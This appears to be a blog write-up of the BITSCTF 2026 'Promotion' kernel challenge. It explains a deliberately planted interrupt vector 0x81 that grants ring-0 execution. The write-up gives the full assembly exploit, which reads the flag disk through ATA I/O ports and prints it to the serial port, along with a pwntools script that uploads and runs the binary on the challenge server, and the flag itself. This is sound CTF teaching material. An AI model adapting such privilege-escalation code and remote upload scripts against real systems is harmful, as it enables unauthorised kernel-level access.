433 words
2 minutes
BITSCTF 2026 - Promotion - Binary Exploitation Writeup
Category: Binary Exploitation
Flag: BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}
Challenge Description
Given promotion_for_players.zip with bzImage, rootfs.cpio.gz, run.sh, diff.txt. Remote: nc 20.193.149.152 1337
From run.sh: flag attached as block device via -hda /challenge/flag.txt
Analysis
Kernel patch in diff.txt introduces interrupt vector 0x81:
pushq %rax
movq %cs, %rax
movq %rax, 16(%rsp)
xorq %rax, %rax
movq %rax, 40(%rsp)
popq %rax
iretqThis intentionally corrupts iret-frame fields. When userland executes int $0x81, we get kernel-level control.
Exploitation
- Trigger
int $0x81 - Immediately disable interrupts (
cli) to keep execution stable - Perform ATA PIO read of LBA0 from primary disk via I/O ports (command/status:
0x1f7, data:0x1f0) - Print bytes to serial COM1 (
0x3f8)
File used: exploit_ring0.S
.global _start
.section .text
_start:
int $0x81
cli
wait_bsy:
mov $0x1f7, %dx
inb %dx, %al
test $0x80, %al
jnz wait_bsy
mov $0xe0, %al
mov $0x1f6, %dx
outb %al, %dx
mov $1, %al
mov $0x1f2, %dx
outb %al, %dx
xor %al, %al
mov $0x1f3, %dx
outb %al, %dx
mov $0x1f4, %dx
outb %al, %dx
mov $0x1f5, %dx
outb %al, %dx
mov $0x20, %al
mov $0x1f7, %dx
outb %al, %dx
wait_drq:
mov $0x1f7, %dx
inb %dx, %al
test $0x08, %al
jz wait_drq
mov $256, %ecx
read_loop:
mov $0x1f0, %dx
inw %dx, %ax
mov %al, %bl
cmp $0, %bl
je done
cmp $0x0a, %bl
je done
cmp $0x0d, %bl
je done
cmp $0x20, %bl
jb low_dot
cmp $0x7e, %bl
ja low_dot
jmp low_send
low_dot:
mov $'.', %bl
low_send:
wait_tx1:
mov $0x3fd, %dx
inb %dx, %al
test $0x20, %al
jz wait_tx1
mov %bl, %al
mov $0x3f8, %dx
outb %al, %dx
mov %ah, %bl
cmp $0, %bl
je done
cmp $0x0a, %bl
je done
cmp $0x0d, %bl
je done
cmp $0x20, %bl
jb high_dot
cmp $0x7e, %bl
ja high_dot
jmp high_send
high_dot:
mov $'.', %bl
high_send:
wait_tx2:
mov $0x3fd, %dx
inb %dx, %al
test $0x20, %al
jz wait_tx2
mov %bl, %al
mov $0x3f8, %dx
outb %al, %dx
loop read_loop
done:
mov $'\n', %bl
wait_tx3:
mov $0x3fd, %dx
inb %dx, %al
test $0x20, %al
jz wait_tx3
mov %bl, %al
mov $0x3f8, %dx
outb %al, %dx
hang:
hlt
jmp hangCompile:
gcc -nostdlib -static -s -o exploit_ring0 exploit_ring0.SUpload and execute via base64:
#!/usr/bin/env python3
from pwn import *
import base64
import textwrap
HOST, PORT = "20.193.149.152", 1337
BIN_PATH = "./exploit_ring0"
def main():
payload_b64 = base64.b64encode(open(BIN_PATH, "rb").read()).decode()
chunks = textwrap.wrap(payload_b64, 76)
io = remote(HOST, PORT, timeout=10)
boot = b""
while b"~ $" not in boot and b"/ $" not in boot:
d = io.recv(timeout=0.5)
if d:
boot += d
io.sendline(b"cat >/tmp/e.b64 <<'EOF'")
for line in chunks:
io.sendline(line.encode())
io.sendline(b"EOF")
io.sendline(b"base64 -d /tmp/e.b64 >/tmp/e")
io.sendline(b"chmod +x /tmp/e")
io.sendline(b"/tmp/e")
out = b""
for _ in range(300):
d = io.recv(timeout=0.2)
if d:
out += d
if b"}" in out:
break
print(out.decode("latin1", errors="ignore"))
io.close()
if __name__ == "__main__":
main()Flag:
BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...} BITSCTF 2026 - Promotion - Binary Exploitation Writeup
https://blog.rei.my.id/posts/43/bitsctf-2026-promotion-binary-exploitation-writeup/